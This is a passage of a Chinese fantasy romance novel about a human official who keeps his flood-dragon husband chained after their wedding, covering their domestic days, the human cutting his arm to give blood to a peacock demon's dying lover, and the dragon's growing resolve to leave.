李青辞的眼神落在乌黑发亮的头发上,笑道:“玄鳞,我给你洗头吧。” 玄鳞冷哼:“我头发干净着呢,不像你,还要天天洗。” 李青辞道:“我知道,但是我想给你洗头,好不好?” 玄鳞瞥他一眼:“那就给你个尽孝心的机会吧。” 片刻后。 玄鳞别扭地斜躺在床上,脑袋垂在床边,李青辞撸着袖子,抓着他的头发清洗。 “好神奇呀!玄鳞,你的头发竟然不怎么沾水,有些像荷叶。” “大惊小怪,没见识。” “我确实没见识,就见过你一条蛟,这辈子估计也就见你一个了。” “怎么,委屈你了?你还想见其他的蛟?” “不想,你是最好的,我已经见到最好的蛟了,以后还是一条最好的龙,其他的给我金子我都不看。” “……”玄鳞语气停顿两下,“这会儿小嘴倒是挺会说话,脸凑过来,我舔两下小甜嘴儿。” 李青辞笑盈盈地凑过去,被好好疼了一番。 他换了三盆水,将本来就干净的头发洗得更干净了,李青辞坐在床边,把玄鳞的脑袋搁在他腿上,握着帕子给他擦头发。 玄鳞闭着眼睛,神情惬意地枕在李青辞腿上,又软又热的手指从他的发间划过,麻麻痒痒的,心都酥了。 “伺候得不错,再来一遍。” 李青辞欣然答应:“好!” 他用指腹从玄鳞的额角往下滑,以指代梳,慢慢梳理他的头发。 室内的龙凤喜烛持续燃烧,蜡泪往下滴落,床畔的红纱曼妙逶迤,床内入目满是红色,大红被褥绣着金线,在烛光下闪着暗光。 穿着着嫣红里衣的人影,陷在一片漆黑里。 两人面对面搂抱着,玄鳞的下巴紧紧压在李青辞发顶。 李青辞顺着玄鳞的后背,他慢慢伸直腿,脚搭在玄鳞温凉的脚背上。 两双赤裸的脚贴在一起缓缓摩擦。 李青辞丝毫没有睡意,突发奇想道:“玄鳞,我再给你洗洗脚吧。” 玄鳞正在捏他腰间的软肉,闻言诧异:“你这是怎么了?伺候我伺候上瘾了?” 李青辞笑着承认:“是呀,我就喜欢伺候你,有瘾。” 他娶回来一个这么漂亮的媳妇儿,就该好好用心伺候着。 漂亮的媳妇儿拒绝了他的伺候。 “差不多行了,刚刚洗头弄一地水,撅着屁股在那擦半天,你消停会儿吧。” 李青辞道:“我现在睡不着,闲着也是闲着,还不如伺候伺候你,弄水没事,很快就擦完了,我不嫌累。” 玄鳞箍着他,不让人动弹:“你不嫌累,我看着累,行了。” 李青辞正想再动,玄鳞语气突然沉了下来:“要不我现在疼疼你,给你疼得淌几回水,是不是就该困了?” 李青辞哽住了,伸手捶了他两拳,老老实实窝在他怀里,不再动弹。 玄鳞掖好被子,搂着人轻轻拍着腰背,偶尔亲亲怀里人的额角。 帷帐内一片寂静,朦朦胧胧,映照着帐外的烛火。 渐渐,呼吸越来越平稳,李青辞窝在玄鳞怀里熟睡过去。 玄鳞搂着他继续拍着,须臾,空出一只手挠他的喉结,水红的嘴唇张开一条缝。 玄鳞凑过去亲了一下,然后将半滴精血喂进他嘴里。 小崽子还是太脆弱了,需要用血再养一养。 玄鳞看着怀里软乎乎、漂亮干净的乖小崽儿,心都化了,忍不住用鼻尖磨他的脸颊。 他盯着人看了一会儿,忽然觉得哪里不对,他的小崽儿看着好像跟之前不太一样了,但是具体哪不一样,他又说不上来。 第69章 怎么,你看我看腻了?…… 盯着人端详半天,玄鳞也没看出所以然来,好像还是那副模样,小崽子脸蛋白里透红,嘴唇红润润的,看着就很精神。 玄鳞忍不住笑了起来,他养小崽子还是很有一手的,舔了舔红红的嘴唇,又亲亲白净的鼻尖儿,他心满意足地搂着人,合上了眼。 窗外亮起熹微,新婚之夜在一片温馨中悄然过去。 李青辞睡醒后,赖在床上磨蹭,用脑袋使劲顶玄鳞的胸口,嘴里高一声低一声的哀嚎:“怎么这么快呀,年假就剩一天了。” 玄鳞看着用脑袋在他胸口打洞的人,伸手扇了一巴掌撅起的屁股:“等会儿脑门弄红了,别过来让我给你舔。” 李青辞不高兴地哼唧:“不舔就不舔。” 他蹿上去跟玄鳞脸贴脸:“我真的太舍不得你了,想天天黏着你,我要是能把你变得很小就好了,揣在我手心里,走到哪带到哪。” 玄鳞低低哼笑,手掌搓着他的后腰:“瞧你现在这副赖赖唧唧的样儿,黏得我牙疼。” 李青辞捧着他的脸,在他嘴上亲了一口:“哪颗牙疼?来,我给你舔舔。” 玄鳞扬唇大笑起来,笑得一脸纵容宠溺。 李青辞笑得眼睛也只剩缝了。 玄鳞搂着人,猛地坐起来,摸着他的脸问:“这亲算是成完了吧?” 李青辞点头:“早就成完了,这都过去十天了。” 玄鳞笑问:“成得开心吗?” 李青辞用力点头:“开心!” 玄鳞晃了晃腿,带起一阵哗啦声:“行,你也玩高兴了,是不是该给我解开了?” 李青辞脸上的笑意顿住,迷茫地看着他。 玄鳞弹了下他的脑门:“你锁着我也有些时日了,现在亲也成完了,你也玩得高兴了,差不多就行了。” 李青辞撑着手臂,从他怀里坐起来,笑意彻底敛去:“玩?你以为我们是在玩小孩子的游戏吗?” 玄鳞看他脸色不太对,皱了皱眉,没吭声。 李青辞直视他:“所以这些日子你配合我,和我成亲,只是想把我哄高兴了,让我给你解开锁链吗?” 玄鳞反驳:“当然不是!我知道你们人成亲是什么意思,我是想说你这段时间玩得开心了,我也不计较你锁我的事了,你把我解开,我们跟以前一样。” “跟以前一样?”李青辞冷笑一声,“不可能,我绝对不会回到以前那样。” 这种踏实日子他才刚开始过,怎么可能把玄鳞解开,再回到那种提心吊胆的生活里。 玄鳞脸色沉了下来:“这些日子我纵着你、宠着你,被锁在床上陪你玩了这么久,就算你心里对我有怨气,也该散了吧,你难道真要一直锁着我?” 李青辞对上他的视线,丝毫不退:“我已经说过很多遍了,我只要你陪我这一辈子,很快,眨眼就过去了,到时候我就给你解开,你想去哪去哪。” 玄鳞看着这双充满执拗、倔强的黝黑眼睛,失望地闭上眼。 刚开始李青辞把那枚雷击木插在他心口、联合道士抓他时,他真是恨得咬牙切齿,恨不得活撕了李青辞。 可是当他被锁在这里之后,李青辞迟迟不朝他下手,还跟以前一样和他相处,笑盈盈地贴上来,那么直白坦诚地说爱他,毫不掩饰对他的思慕。 暖得就像一汪春水,把他的心也泡软了。 当李青辞躺在他身边时,他随时可以掐死李青辞,可是他舍不得。 李青辞越来越黏人,变着法的撒娇,要他疼。 他也明白了,李青辞抓他不是要害他,只是想贴着他和他亲近。 他没有把这当成一场锥心的背叛,而是把它当成了一场游戏,想着陪李青辞玩个开心,让他高兴。 李青辞说要娶他,他心里是高兴的。 李青辞也答应了他的求偶,他们俩现在就是世上最亲密的。 他忍着被锁住的烦躁,一直陪着李青辞玩这场游戏,现在亲也成完了,李青辞每天都开开心心的,想着也该满足了,可以给他解开锁链了。 可万万没想到,李青辞竟然是认真的,真的打算一直锁着他。 玄鳞叹了口气:“李青辞,我真是白疼你一场,你竟然舍得一直锁着我。” “我舍不得,我当然舍不得!”李青辞语气激烈起来,“我这么爱你,我怎么舍得让你不好过。” 他凑上去抓住玄鳞的手:“可是我没办法,玄鳞我真的没办法,我太舍不得你了,我太爱你了,我不想让你走,我一刻都不想跟你分开。” 玄鳞看着两人交握的手:“你扪心自问,我除了出去泡会儿水,其他的时间是不是都在陪着你?你到底还有什么不满足?我出去的时候心里也惦记你,想着给你找小玩意儿哄你,给你抓好吃的。” 李青辞伸手抱住他的腰:“不满足,我一点都不满足,我太贪心了,你就纵着我这一回好不好?先不洗澡,先陪着我,以后你泡一百年的澡,我都不会再埋怨你了。” 玄鳞扳过他的脸,看着他问:“你是不是怎么说都不听?” 李青辞错开视线:“别生气好不好?玄鳞,你别生我的气,我知道错了,我知道我这样不对,但是你能不能原谅我,别生我的气,别跟我计较。” 李青辞凑上去舔他的下巴,紧紧贴着他的脸:“玄鳞,求求你了,你最好了,就一回,就纵我这一回好不好?” 玄鳞没说话,脸颊贴着温热,更热的泪珠啪嗒啪嗒落在他身上。 沉默许久。 他伸手抹去李青辞脸上的泪,把人推开:“你先去吃饭吧。” 李青辞不走,跪在他腿间,伸着手又要抱他。 他揉了揉李青辞的脑袋:“好了。” 李青辞瘪了瘪嘴,两只手胡乱在脸上抹泪,讨好地笑着:“一会儿我吃完饭,给你洗头好不好?” 玄鳞低嗯一声,亲了亲他的嘴唇。 李青辞深深喘了口气,心里放松下来,转身离去。 接下来的时日。 李青辞很卖力地伺候玄鳞,给他洗头、洗脚、擦洗衣裳,即使手很酸了,也坚持给他捶腿。 “玄鳞,我已经在想办法了,到时候把锁链弄长一点,可以让你在床下活动。” 再长的链子也是链子,即使长到天边,也是被拴着。 玄鳞揉了揉李青辞的脑袋,扯开他的手臂:“好了,别捶了,也不嫌手酸。” 李青辞摇头:“没事,我的手不酸,我现在手上很有劲。” 玄鳞拍了一下他的后脑勺:“过来,我抱会儿。” 李青辞听完立刻松手,爬过去,紧紧趴在他身上。 玄鳞摸着胸前的脑袋,哼道:“也就是我的鳞片坚硬,不然照你这个趴法,我身上早晚被你趴出个坑,看看你现在,还睡过床吗,天天窝在我身上。” 李青辞支起脑袋看他:“你是嫌我沉,不想让我趴吗?” 玄鳞嗤了一声,单手托住他的胯骨,把人举了起来。 李青辞一个高挑的成年男子,在他手里跟个小玩意儿似的。 不一会儿,李青辞被放下来,他闷闷道:“那你是嫌我烦,觉得我太黏人了吗?” 玄鳞掐了掐他的脸蛋:“别太高看自己,你这个鼻涕虫修为一般,且还有的修炼。” 李青辞笑了起来,脸上的笑容很灿烂,在玄鳞身上蠕动两下,撅着嘴去亲他。 夜渐深。 李青辞趴在玄鳞身上睡了过去。 缓了片刻,等李青辞睡熟后,玄鳞悄然翻身,两人上下颠倒。 玄鳞看着眼皮子底下的人,久久没有动作,不知过去多久,玄鳞仍是抬起手,挠了挠李青辞的喉结,跟往常一样,喂给他半滴精血。 这时,天边已经亮起熹微。 玄鳞正打算合会儿眼,忽然瞥见李青辞脑袋上又长了一根白头发。 他拧起眉,捻起那根突兀的白发,轻轻一薅,低声嘟囔一句:“这玩意儿怎么还有,不是刚拔过吗?” 他轻轻拨楞着李青辞的脑袋,在他头上翻找,仔细寻摸一遍,薅下脑袋上的三根白发,玄鳞搂着人,闭上了眼。 李青辞眼帘急促颤了两下,许久,他偏头闷进玄鳞怀里。 日子就这么平淡的往前过。 天气渐渐热了起来,门口的水车彻夜不停地晃着。 玄鳞躺在床上,烦躁地来回伸腿、屈腿,沉闷的哗啦声快速消磨他的耐心。 他被锁在这儿的时候是夏天,如今又到夏天了。 屋外传来一阵急促的脚步声。 玄鳞抬手搭在眼睛上,掩去脸上的神色。 “玄鳞,我回来啦!”李青辞笑声欢快。 他一进屋就脱下官服,挽着袖子去门口打水,冲洗屋里的地板,又跑到地窖里搬了一筐冰上来。 他像个小蜜蜂采蜜一样,忙个不停,一会儿忙活这儿,一会儿忙活那儿,脸上亮晶晶的,浸出一层水液,脖子上也汗津津的。 “不行了,好热,出了好多汗,玄鳞,我去洗澡了。” 玄鳞低嗯一声。 李青辞冲完凉,换了身干净衣服,跑到床边,一把扑在玄鳞身上,亲着他脸上的手心,又亲亲他的下巴。 玄鳞放下手,摸了摸那张仍然泛着红潮的脸。 李青辞歪头蹭了蹭他的手心,然后跑到床边吃饭。 玄鳞也从床上下来,随着他的走动,脚上的锁链响起一阵哗啦声。 李青辞端着一大盆杨梅冰水搁在他手边:“喝吧,我多加了半碗冰。” 玄鳞垂着眼皮,看起来兴致缺缺。 李青辞握了握他的手:“喝腻了?那明天给你换青梅雪饮。” 玄鳞弹了一下他的脑门,低头喝水。 李青辞吃完饭,见盆里还有半碗杨梅冰水,他出门打了桶水,搁在玄鳞脚下:“抬脚,给你洗洗。” 玄鳞照做,脚放进桶里,在接触水的一刹那,黑色靴子瞬间消失。 李青辞盘腿坐在他脚边,低头说着话:“我让人做了一个很大的浴盆,在门口水车那儿接了竹管,以后你可以在屋里泡澡。” 玄鳞点头:“行。” 李青辞伏在他膝上,歪着脑袋,抬眼看他,眼角眉梢浸着喜悦。 玄鳞掐他的脸蛋儿:“整天乐什么呢?这么高兴。” 李青辞抓住脸边的手亲了亲:“因为你呀,看见你我就很高兴!” 玄鳞道:“这有些日子了,你也看不腻。” 李青辞坐起来,脸色郁郁,不高兴道:“怎么,你看我看腻了?” 玄鳞无语地啧了声,给了他的后脑勺一巴掌:“我觉得你现在,越来越有不讲理的架势了。” 李青辞挑了挑眉:“都是跟你学的。” 玄鳞哼了一声,抬起脚:“行了,不泡了。” 这么一点儿水,跟没泡没什么区别,也就李青辞天天乐此不疲,热衷于给他洗脚。 “好嘞!”李青辞把他的脚搁在自己腿上,拿着干净帕子给他擦脚。 玄鳞双脚触地的一瞬间变出一双黑色长靴,他抬脚走到床上,躺上去后,双脚又赤裸着。 李青辞擦干地上的水渍,出去倒洗脚水,回来后仰头躺在床上,和玄鳞肩并肩,脑袋挨着脑袋。 过了会儿。 李青辞搂住玄鳞的脖子:“我能疼你了吗?” 玄鳞哼笑一声,手指搭在他颈侧:“不行,得再过些日子。” 李青辞闷闷嗯了一声,再等他就三十五岁了。 玄鳞也没说什么,搂着他,在他腰上有一搭没一搭地拍着。 四下一片静谧,只有窗边微风的响动。 忽然,一道焦急惊慌的声音震碎了安静。 “青辞!青辞!你在吗?” 一刹那,玄鳞浑身紧绷,他眯起眼睛,瞳孔骤然收缩成一道细缝。 李青辞赶紧坐起来:“是孔雀的声音,我去看看。” 没等他下床,屋外突然响起“砰”的一声。 “青辞!你在不在!” 李青辞立刻扬声回答:“我在!你等一等,我这就出去!” 他快速跑到门边,按下机关,敞开一条仅一人能过的空隙。 在这一瞬间,孔雀的妖气流进内室里。 玄鳞立时倾身,脊背高高弓起,他下意识扯过薄被盖住腿上的锁链,想掩饰自己的弱点。 他浑身肌肉隆起,绷紧到极致,身形如拉满的弓弦,随时准备爆发,一双鎏金色眼睛冰冷地盯着门口,一副蓄势待发要进攻的模样。 房门关上,李青辞的气息被隔绝, 玄鳞心底无法自抑地涌出一股暴戾,他活了这么多年,这是第一次有别的妖敢踏足他的领地,而他束手无策,只能被拴起来,任由宰割,无法还击。 门外。 李青辞刚一出去,孔雀霎时移到他身前,急切地问:“那条水蛟是不是在你这里?” 李青辞拧起眉道:“你要做什么?” 孔雀神情激动起来:“他在你这儿对不对?他在哪?你让我见他,我有事找他。” 李青辞诧异道:“你找他做什么?” 孔雀语气慌乱:“薛九陵快要死了,流了好多血,你帮我要一些水蛟的血,我用来给薛九陵吊命,然后我再想办法救他。” 李青辞眼神锋利起来,沉着眉眼看孔雀。 孔雀双手搭在他肩上,急切解释:“我只是想要他一些血,对他造不成什么妨碍。” 李青辞偏过头,挥开肩上的手。 孔雀看着他的眼神近乎哀求:“青辞,你帮帮我吧,除了你,我不知道还有谁能帮我,薛九陵真的快死了。” 李青辞紧紧攥着手,胸口急促起伏,他哑着嗓子开口:“对不起孔雀,我帮不了你。” 他不可能再伤害玄鳞。 孔雀连声乞求:“青辞,你们人不是有句话叫救人一命胜造七级浮屠吗,我不白要他的血,我拿东西给他换好不好?求求你了,帮帮我吧,我只要他一点点血,真的不会对他造成妨碍,求求你,青辞,我求求你。” 李青辞深深吸了口气:“我不可能去给你要玄鳞的血,但是我喝过他很多血,我把我的血给你,你试一试。” 孔雀当即拔下一根尾羽递给他:“我不能伤害你,你自己划吧。” 李青辞握着羽毛,将尖端抵在自己小臂上:“你拿个东西接着呀。” 孔雀愣了两下才想起来,立马摸出一个玉碗搁在他小臂下。 李青辞挪开视线,紧紧闭着眼,咬着牙用力一划。 霎时袭来一阵尖锐的疼痛,他强忍着没有喊出声来,抖着嘴唇问:“有用吗?” 孔雀凑到碗边嗅了嗅,惊喜道:“有用有用!就是效用太弱了,你多给我放点。” 李青辞又疼又无语,他流的是血,不是不要钱的河水。 忍了又忍,他实在下不去手,只好道:“你挤着我的伤口,这样能多流些血。” 孔雀将碗悬在空中,握住他伤口两端用力挤压,登时滴滴嗒嗒流血,很快就盛满了一碗。 李青辞脸色由红转白,嘴唇也失了血色。 “青辞,这不行啊,太少了,你再给我一碗血。” 李青辞整个人都在抖,他缓缓开口:“你扶我去桌边坐下。” 孔雀立刻照做。 李青辞深吸了两口气,没给自己多想的时间,咬着牙又在手臂上划了一道。 放了两碗血之后,孔雀眉头依旧紧蹙:“不行啊,还是不够,你去给那条蛟要两三滴精血就够了,你现在气息变弱了,再放血的话,我怕你死。” 李青辞脸色煞白,语气虚弱:“这些不能先给他吊命吗?等过个几天你再过来,我再给你放血。” 孔雀只好先答应:“行吧,我先回去试试。” 等孔雀走后,李青辞坐在桌边,缓了好一会儿,等那股晕眩过去,他找出伤药给自己清理伤口。 伤口划得太深,皮肉斑驳,细白的纱布被鲜血浸透。 李青辞看着自己手臂这副样子,无奈地叹气,等会儿可怎么进去跟玄鳞解释。 又坐了片刻,李青辞硬着头皮进去了。 一进门,他的视线就直接定格到床上的黑影。 玄鳞坐在床边,垂着头,神色看不清楚。 李青辞脚步虚浮,凑过去小心翼翼地看他,心虚地瞟他的神色。 本以为要迎来一场狂风暴雨的质问,结果无事发生,玄鳞没有什么反应,只抬头看了他一眼,就倒头躺下了,手臂遮在眼上。 李青辞立刻慌了,他赶紧去拉玄鳞的手,轻声解释:“手臂上的伤是我自己划的,孔雀需要血,我就给他放了一些。” 一片沉默。 李青辞小声开口:“你是不是生我的气了?跟我说句话好不好?” 玄鳞语气平淡:“我有什么好生气的。” 李青辞慢慢挪过去,用脑袋蹭他:“别生气。” 玄鳞突然笑了一声:“我生气你就会改吗?你在做之前难道不知道我会生气,可你还是这样做了。” 每次都是这样,明知道他会生气还是去做,等做完了,再一脸可怜巴巴地过来找他,求他不要生气,好像他才是那个恶人。 李青辞哀声道:“玄鳞,我真的知道错了。” 玄鳞道:“是啊,你知道错了,可你不改。” 鼻息间萦绕着浓重的血腥味儿,玄鳞淡淡道:“我拿自己的血养着你,平时没让你破过一点皮,眼睛哭红一点,我立刻给你舔,结果你划烂自己的肉,把血给别人。” 李青辞去贴他的脸:“薛九陵快死了,他是孔雀很爱很爱的人,孔雀是我的朋友,我想帮他。” 玄鳞语气淡淡:“不错,挺热心肠的。” 简短的一句话里,听不出来任何情绪,李青辞满心慌乱,哀求道:“别这样,玄鳞,你别这样跟我说话,我害怕。” 刚才划了两道血口,流了两碗血,李青辞都没哭,现在却因为玄鳞的一句话,眼圈红得不行。 听着耳边惊惶的哭声,玄鳞内心涌出一股疲惫,他轻呼一口气。 李青辞快速抹去脸上的眼泪,不停地深呼吸,努力克制喉间的哽咽:“对不起,我是你的小崽儿,我知道你心疼我,不想看我受伤,你怎么罚我都行,能不能不要生气?” 玄鳞扯唇,自嘲一笑:“我能怎么罚你,你明知道我舍不得打你、骂你,你这句话不就是一句空话吗。” 李青辞抓住他的手,喉间紧涩,嗓音发颤:“你已经在罚我了,你现在就在罚我,你用这样的语气跟我说话就是在惩罚我。” 玄鳞握紧掌中颤抖的手。 李青辞整个人往他怀里缩:“抱抱我吧,你抱抱我,真的别生气,我不想你生气。” 玄鳞伸手搂住人:“我没有生气,那是你自己的血,愿意给别人就给吧。” 李青辞心慌极了,他真的听不出玄鳞说的是正话还是反话。 这时,他脑袋落下轻柔的抚摸,后肩被轻轻拍打着。 一声轻叹响在耳畔:“好了,别抖了。” 第70章 那不是我,我不要转世…… 李青辞控制不住地呜咽起来:“你再疼疼我,亲亲我好不好?” 玄鳞抹了把他脸上的泪:“一脸的咸水,我不想亲。” 李青辞努力瞪大眼睛,深深喘气:“我不哭了,我这就不哭了,我去洗脸。” 他猛地坐起来,结果脑袋霎时晕眩,他没敢露出异样,强撑着,忍着模糊的视线,抬脚往外走。 身后响起沉闷的锁链声,玄鳞来到他身侧说话:“再打盆水来,我给你清理伤口。” 李青辞赶紧应承:“好。” 他洗完脸,忍着手臂的疼痛,强撑着端了盆水进去。 玄鳞解开他手臂上被血浸透的纱布,露出里面皮肉翻驳的伤口。 血腥味浓重到几乎刺鼻。 李青辞看着他暗沉的脸,小声道:“其实还好,不是很疼。” 伤口上还在渗血,那些药并不能立竿见影地止住血。 玄鳞划开自己的手指,将自己的血涂抹在伤口上。 李青辞忍不住难过,他本来就是为了不让玄鳞放血才去划自己的手臂,结果到头来还是连累玄鳞受伤。 “对不起,对不起,我又让你操心,又让你受伤了。” 李青辞抓住玄鳞的手腕:“别再割破手了,我抹一些伤药,很快就好了。” 玄鳞挥开他的手,快速将两道伤口涂抹均匀,还在渗血的伤口立刻结痂。 李青辞扑到玄鳞怀里还没说话,就听见了门外急切的喊声。 “青辞!你在哪?血不够,你再给我放一些。” 李青辞愣住,身上的怀抱在一刹间紧绷起来。 他抬眼去看,第一次见到玄鳞这么冰冷的神色。 鎏金色的眼神满是攻击性,像是要展开一场杀戮。 “青辞,我求求你了,快出来,你还能撑得住吗?再给我点血。” 李青辞沉默着,小心翼翼地离开玄鳞的怀抱,蹲坐在他脚边。 玄鳞的眼神一直紧盯着门口,说出来的话语冷漠至极:“这只孔雀是想要我的血。” 陈述的语气。 李青辞急切解释:“是,但是我没有答应,我不可能让他伤害你。” 玄鳞嗤了一声。 李青辞愣住了。 他为了不伤害玄鳞,划了自己的手臂,把血给孔雀,可到头来,玄鳞还是割破了自己的手,给他涂抹伤口。 那他做这些有意义吗? 最终还是伤害了玄鳞。 门外的叫喊声一直在持续,听起来那么急切慌张。 玄鳞问他:“你现在要怎么做?” 李青辞没有开口说话,他现在脑袋一片混乱,他也不知道该怎么做,他伤害自己,就是在伤害玄鳞。 可是他又不能眼睁睁地看着薛九陵死,这对孔雀来说太残忍了。 李青辞脸上的无措和仓皇太过明显,眼神一直在玄鳞和门口之间来回转换。 他流了一些血还能补回来,还有命在,可是薛九陵没有这些血就会死。 “青辞,求求你了,再给我一点血吧。” 李青辞闭了闭眼,他从地上站起来,向玄鳞保证:“家里有很多伤药,都很有用的,我现在能买到很多珍稀的补气益血的药材,很快能补回来的。” 玄鳞没有说话,李青辞身上有多少他的血,他一清二楚。 如果再放一些血,那只孔雀说还是不够呢,那李青辞怎么办? 把身上的血全放干? 如果放干还是不够呢,那只孔雀会怎么办? 孔雀知道他在这里,不会把主意打在他身上吗? 他讨厌凡人,但是更警惕妖,妖之间没有那么多尔虞我诈的心思,都是更直接、更纯粹的暴力掠夺。 如果那只孔雀迟迟得不到回应,被逼急了直接冲进来,看到他被锁在这里,会对他做什么呢? 他现在法力全失,毫无倚仗,等待他的会是什么下场。 “青辞,你到底在哪,说句话呀?”声音越来越逼近。 李青辞怕孔雀急坏了真砸墙,立刻扬声道:“我马上就出去,你等我一会儿。” 转过头,他朝玄鳞急急道:“我很快就回来,我有分寸,不会真的伤害自己。” 玄鳞低着头,没有回应,他端起桌上的茶杯,将里头的茶水泼在地上,划开自己的手,挤了一些血进去。 他把盛着血的茶杯搁在桌上,转身走向床边。 李青辞看着他的背影,一阵头晕目眩,脚都站不稳了,可是他也知道现在不是难过的时候,血已经放出来了,他说什么也于事无补,现在只能把血拿出去给孔雀,让他救人。 李青辞狠狠攥了攥手,没再拖延,他拿着茶杯出去。 玄鳞的目光落在紧闭的门上。 李青辞是真的喜欢他,他也是真心疼爱李青辞。 他不想恶意揣测李青辞的心思,可能那只孔雀真的需要血救人,李青辞也是为了帮朋友,而不是一人一妖合伙唱了一场双簧,只是为了让他心甘情愿把血拿出来。 玄鳞突然感觉很累,他不想让自己陷在这种情绪里。 当其他妖的气息,踏足他的领地时,终于激起了他骨子里的兽性和妖性。 这些时日,玄鳞一直沉溺在这场情爱里,如今他开始清醒。 他清晰地意识到,李青辞是人,有人的贪婪和自私。 李青辞明知道他不喜欢被锁住,知道他生气,可李青辞只是嘴上说错了,丝毫不改。 李青辞怎么可以这么自私地对他。 凡人都爱喜新厌旧,如果有一天李青辞厌倦了他,那他会是一个什么样的下场呢? 玄鳞看着自己脚上的锁链,彻底清醒过来,他费尽千辛万苦,经历过无数次生死,终于修炼到如今这个地步。 他怎么能把自己的性命系在一个凡人的良心上。 人的心是最瞬息万变的。 …… 不过几息间,李青辞把血给了孔雀,立刻折返回去。 玄鳞坐在床尾,神色平淡,看不出生气的样子。 李青辞慢慢走过去,在他身前跪下,额头抵着他的膝盖:“对不起。” 玄鳞语气平常:“那只孔雀如果进来,我现在被锁住,我不是他的对手。” 李青辞立刻道:“不会的,这间房子里有阵法,孔雀进不来的,而且就算他进来,他也不会伤害你,孔雀从小是一个道士养大的,他从来不杀生。” 妖的本性就是掠夺杀戮,当一只妖被逼到绝境,他还能保持平常的冷静吗? 玄鳞笑了笑:“行,我知道了,别跪在地上了,起来吧。” 李青辞爬起来,坐在玄鳞腿上,伸手搂他的脖子。 玄鳞松松圈着怀里的人:“别黏了,收拾收拾睡吧,天已经很黑了。” “好,我知道了。”李青辞亲了亲他的下巴,起身去收拾。 这件事被揭过,一切如常。 天气越来越热。 这天。 李青辞休沐,睡到天光大亮才起。 玄鳞摸着他的脑袋:“你今天有空,带我出去晒晒太阳吧,我都许久没见过太阳了。” 李青辞内心纠结片刻,很快就开口答应:“好,你等我想想办法,过两天就带你出去晒太阳。” “行,不着急。” 玄鳞说不着急,但李青辞哪可能真不急。 这是玄鳞第一次跟他说要出去,再怎么也要满足他。 李青辞告假三天,一切准备妥当后,次日天刚亮,他就起床。 他没用手拿着锁链,而是将锁链的另一头套在自己脚腕上,他仰头看着玄鳞笑:“好啦,我们出去晒太阳吧,这个时候能看到日出。” 玄鳞拍了下他的脑袋,抬脚朝外走。 这副锁链对李青辞来说过于沉重,他走得很慢,双脚使劲儿地往前抬,才能挪一步。 玄鳞叹了口气,掐在他腋下,把人抱在身上。 两人走到门口的水车处,李青辞指着地上的躺椅说:“这是我根据你之前躺的水的形状,让人做出来的摇椅,你试试,晃起来很舒服的。” 玄鳞挑了下眉:“行,我试试。” 他躺在摇椅上,面朝东方,太阳即将喷薄而出。 李青辞蹲在他腿边,慢慢晃着椅子。 暗金色的眼睛落在李青辞带着笑意的眉眼上。 一双大手掐着他的腰,把人拖了上来。 李青辞安心地窝在玄鳞怀里,双手搂着他的脖子,跟他紧紧贴着脸。 背上落下不轻不重的拍打,昨晚上李青辞就惦记这个事情,睡得不好,如今两人安稳地躺在这里晒太阳,李青辞的困意很快涌了上来。 清晨凉风习习,水车发出咕噜咕噜的声响,带来一阵阵清爽的水汽,刚升起的太阳,洒下温和的光辉。 渐渐,日头越来越强烈,阳光明烈刺眼。 李青辞寻了一把厚实的大伞,撑在自己头上:“玄鳞,你真的不嫌晒吗?要我给你打伞吗?” “啰嗦,不用。” “哦,好吧。” 李青辞将大伞夹在脖子上,拿着刀,砍手里的椰子,刚砍没几下,玄鳞就睁开眼看他:“你这弄什么呢?那个刀就不是你这样拿的。” 李青辞擦了擦手心的汗,手里换了个姿势:“这个是昨日从水路运过来的椰子,听说里头的汁水很好喝,想让你尝尝。” 玄鳞朝他伸手:“给我。” 李青辞递过去,告诉他怎么弄。 也就三五下的功夫,李青辞惊叹道:“玄鳞,你好厉害呀!你这双手怎么长的,怎么这么巧!” 玄鳞哼了一声,没说话。 李青辞拿起一旁的芦管插进开口里:“喝吧,我一早在冰里湃着。” 玄鳞捧着东西打量:“也不知道你从哪弄来这么些稀奇古怪的东西,我活了这么久都没见过。” 李青辞笑了笑:“这种在很南边的地方才有,你之前可能没去过,这里是京城,全国各地都要向宫里敬献,好多地方都走水路,所以他们给我也捎了一份。” 玄鳞试探地吸了一口:“还凑合。” 李青辞开心地笑了起来:“我再给你拿,还有四个在冰水里湃着。” 玄鳞一口气儿喝了四个椰子,在喝第五个的时候,瞥见李青辞红扑扑的小脸,额头亮晶晶的,沁了一层汗。 “你怎么不喝?” 李青辞摇头:“我不爱喝。” 这种东西很难得,他也只得了十三个,真敞开了喝,还不够玄鳞一顿喝的。 脑袋被扇了一巴掌,李青辞抬头去看。 玄鳞扯着他的手,把人带到自己腿上,吸了一口椰汁哺给他。 唇齿被堵住,喉结被按了一下,李青辞只能咽下。 玄鳞舔了下他的嘴唇:“这下不用听说了,好喝吗?” 李青辞诚实道:“你喂我的好喝,要是让我自己喝,我不太喜欢。” 玄鳞用手指拨动了一下他的嘴唇,继续喂他。 两人晒了一天的太阳,直到天色彻底黑下去。 玄鳞从躺椅上起来,抱着青辞朝屋里去。 天气越来越炎热,屋里一刻都离不了冰。 李青辞盘着腿,坐在床边剥荔枝:“玄鳞,一会儿你要去湖里泡水吗,我提前收拾一下。” 玄鳞道:“不去了,热,那池子水太浅了。” “那等过些时日,我让人再挖深湖底。”李青辞扔掉手里的荔枝壳,努嘴埋怨,“最近这天气怎么回事呀?又闷又热,有时候简直要上不来气了。” 玄鳞随意嗯了一声:“因为该下雨了。” 李青辞哦了一声,端着剥好的一盆荔枝,挪到他身边。 玄鳞躺在地上的竹席上,吃着喂在嘴边的荔枝。 李青辞低头看他:“好吃吗?我刚刚尝了一个,很甜,不怎么酸,对了,你记得把核儿吐出来。” 玄鳞翻了个白眼儿:“我不是傻子。” 李青辞笑了起来,手搁在他嘴边。 玄鳞微微偏头,张嘴把核儿吐在他手里。 李青辞继续喂他,忽然被拦腰一摁,整个人倒在他身上。 玄鳞抱着人:“你自己吃吧,甜得发齁。” 李青辞哦了一声,斜躺在他身上,捻着荔枝慢慢吃着。 晚间。 玄鳞搂着怀里的人,一瞬不瞬地盯着他看,最后在破晓时,眷恋地亲在他嘴唇上。 闭眼复又睁开,暗金色眼睛里的温情被冰冷和决绝取代。 李青辞睡了个好觉,一睁眼,只觉神清气爽,手指搓着玄鳞的袖子,用脑袋拱他的脖子。 玄鳞搂着他的腰,低声道:“小崽儿,我想坐船去城外的河上漂一会儿。” 李青辞一口答应:“好,你等我一下,我去调船。” 玄鳞望着他远去的背影,抬手搭在眼睛上。 片刻后。 玄鳞抱着人踏上湖里的画舫。 